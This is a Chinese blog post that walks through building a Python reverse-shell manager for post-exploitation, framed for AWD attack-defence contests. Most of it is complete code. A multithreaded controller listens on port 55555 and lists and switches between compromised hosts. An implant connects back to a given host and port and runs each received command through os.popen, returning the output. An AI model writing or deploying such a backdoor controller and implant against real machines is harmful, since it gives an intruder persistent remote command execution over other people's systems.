python中的后滲透|也可用于AWD攻防--shell管理


在所有的旋律中,wing對說散就散最專一!


wing

0x00 前言

在平時或者線下AWD的時候,有一個shell管理器可以讓我們打到事半功倍的效果。
前提你要能獲得別人shell,不然這個也沒什么用了。
我這里寫好的這個只是一個思路,真正的后滲透工具,遠(yuǎn)比這個強(qiáng)大。

0x01 具體思路

  • 先看有哪些主機(jī)和自己已經(jīng)連接了
  • 加一個多線程管理
  • 然后就是給連接的主機(jī)編號,哪個主機(jī)是哪個ip
  • 選擇相應(yīng)的主機(jī)編號,進(jìn)入對方shell
  • 加一個重新選擇shell的功能
  • 命令執(zhí)行時間上的判斷,有些命令會出錯或者沒回顯,就會卡死。

實現(xiàn)流程

[圖片上傳失敗...(image-80d3db-1514974826506)]

控制端
主要是三個模塊:

import socket
import threading
import time
def shell(sock, addr):
    while True:
        command = input(str(addr[0])+':wing#')
        if str(command) == 'c':
            select_shell()
            return
        if command == 'quit':
            quitTheard = True
            print(seeyou)
            exit(0)
        if command == 0:
            continue
        sock.send(command.encode('utf-8'))
        print('你發(fā)送的命令是:', command)
        data = sock.recv(1024)
        if not data:
            select_shell()
        print('命令執(zhí)行成功,回顯:',data.decode())

獲得sock和地址,判斷是哪個機(jī)器和我們連接的。
以及發(fā)送命令出去。進(jìn)行編碼解碼。這里有一個坑。
py2和py3的socket我感覺好像不一樣,編碼自己出現(xiàn)了問題買就去百度解決吧,我這里沒啥問題,在我的機(jī)器調(diào)試好了。
還有就是命令行選項,可以發(fā)揮你們的想象自行添加。


def select_shell():
    global shellList
    global myhost
    print('------------------------------*------------------------------')
    print('控制端正在運行中!')
    print('------------------------------*------------------------------')

    for i in range(len(shellList)):
        print('shell 列表:')
        print('[%i]->%s' % (i,str(shellList[i][1][0])))
    print('請選擇一個Shell ID!')

    while True:
        num = input('請輸入Shell id:')

        if int(num) >= len(shellList):
            print('error!')
            continue
        else:
            break

    myhost = shellList[int(num)]
    print('*' * 66)
    print(' '* 22 + '已連接到' + myhost[1][0])
    print('*' * 66)


得到的shell列表,將其list出來,按照id和ip分開:
如圖:


wing
def connecting(socks):
    while not threadQuit:
        if len(shellList) == 0:
            print('正在等待連接中,請稍后!')
        sock, addr = socks.accept()
        print('Bingo!連接已經(jīng)和%s建立!' % addr[0])
        lock = threading.Lock()
        lock.acquire()
        shellList.append((sock, addr))
        lock.release()

建立一個簡單的線程,因為shellList好幾個函數(shù)需要用到,就設(shè)置為全局變量。


def main():
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(('0.0.0.0',55555))
    s.listen()

    t = threading.Thread(target=connecting,args=(s,))
    t.start()
    time.sleep(1)

    while True:
        if len(shellList) > 0:
            select_shell()
            shell(myhost[0],myhost[1])


if __name__ == '__main__':
    print(wingLogo)
    main()

最后的主函數(shù)。建立scoket套接字,加入線程。
講一下socket對象中兩個參數(shù)的含義,
socket.AF_INET代表使用IPv4協(xié)議,socket.SOCK_STREAM
代表使用面向流的Tcp協(xié)議,
也就是說我們創(chuàng)建了一個基于IPv4協(xié)議的Tcp Server。
當(dāng)有多個臺機(jī)器連接到控制端時,我們要記錄這些機(jī)器的socket對象
,以便我們可以選擇不同的操作對象
服務(wù)端

服務(wù)端主要就是接受命令并執(zhí)行發(fā)送給控制端。
python調(diào)用系統(tǒng)命令有這幾種方法,更多的歡迎補(bǔ)充

  • os.popen().read()
  • os.sysytem
  • subproess
  • command模塊
subprocess.Popen()函數(shù):
這里我簡單介紹一下。subprocess.Popen()可以實現(xiàn)在一個新的進(jìn)程中啟動一個子程序,
第一個參數(shù)就是子程序的名字,shell=True則是說明程序在Shell中執(zhí)行。至于stdout、stderr、
stdin的值都是subprocess.PIPE,
它是表示用管道的形式與子進(jìn)程交互。
還有一個就是一開始我說的比較坑的地方,就是編碼,控制端發(fā)送命令執(zhí)行結(jié)果的
時候,如果用這個模塊,建議先將結(jié)果用本地系統(tǒng)編碼的方式進(jìn)行解碼,
然后又用utf-8進(jìn)行編碼,以避免被控端編碼不是utf-8時,控制端接收到的結(jié)果顯示亂碼
os.system()
這個函數(shù)不會返回值,沒啥用
os.popen()
這個方法執(zhí)行命令并返回執(zhí)行后的信息對象,是通過一個管道文件將結(jié)果返回。
>>> output = os.popen('cat /proc/cpuinfo') 
>>> output 
<open file 'cat /proc/cpuinfo', mode 'r' at 0x7ff52d831540> 
>>> print output.read() 
processor : 0
vendor_id : AuthenticAMD 
cpu family : 21
... ... 
>>><span style="font-size:14px;">
所以要加read
commands模塊
>>> import commands 
>>> (status, output) = commands.getstatusoutput('cat /proc/cpuinfo') 
>>> print output 
processor : 0
vendor_id : AuthenticAMD 
cpu family : 21
... ... 
>>> print status 
0

一開始我是用subprocess,但是有些命令很慢,os.popen簡便些。

code:

#!/usr/bin/env python3
# _*_ coding: utf-8 _*_


import socket
import threading
import subprocess
import time
import sys
import argparse
import os

wingLogo = '''
                             | |
 ___  ___ _ ____   _____ _ __| |
/ __|/ _ \ '__\ \ / / _ \ '__| |
\__ \  __/ |   \ V /  __/ |  |_|
|___/\___|_|    \_/ \___|_|  (_)
'''

def connect(host,port):
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((host,int(port)))
    while True:
        print('等待控制端發(fā)送命令中......')
        cmd = sock.recv(1024)
        cmd = str(cmd.decode())
        print('正在執(zhí)行命令-----', cmd)
        # shellCommand = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
        # shell_out,shell_error = shellCommand.communicate()
        # cmd = shell_out.decode().encode('utf-8')
        # print(cmd)
        cmd = os.popen(cmd).read()
        print(cmd.encode('utf-8'))
        # cmd = os.popen(cmd)
        # print(cmd.encode('utf-8'))
        sock.sendall(bytes(cmd.encode('utf-8')))
        time.sleep(1)


def main():
    parse = argparse.ArgumentParser()
    parse.add_argument('-H',dest='host',help='hostname')
    parse.add_argument('-p',dest='port',help='portname')
    args = parse.parse_args()

    host = args.host
    port = args.port

    if host == None and port ==None:
        print(parse.parse_args(['-h']))
        exit(-1)
    connect(host,port)


if __name__ == '__main__':
    print(wingLogo)
    main()

argparse模塊也很好用,智能化一點。

效果

wing

wing

wing

wing

[圖片上傳失敗...(image-f524d5-1514974826506)]


wing

wing

wing

GAME OVER!

wing

wing‘s blog

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容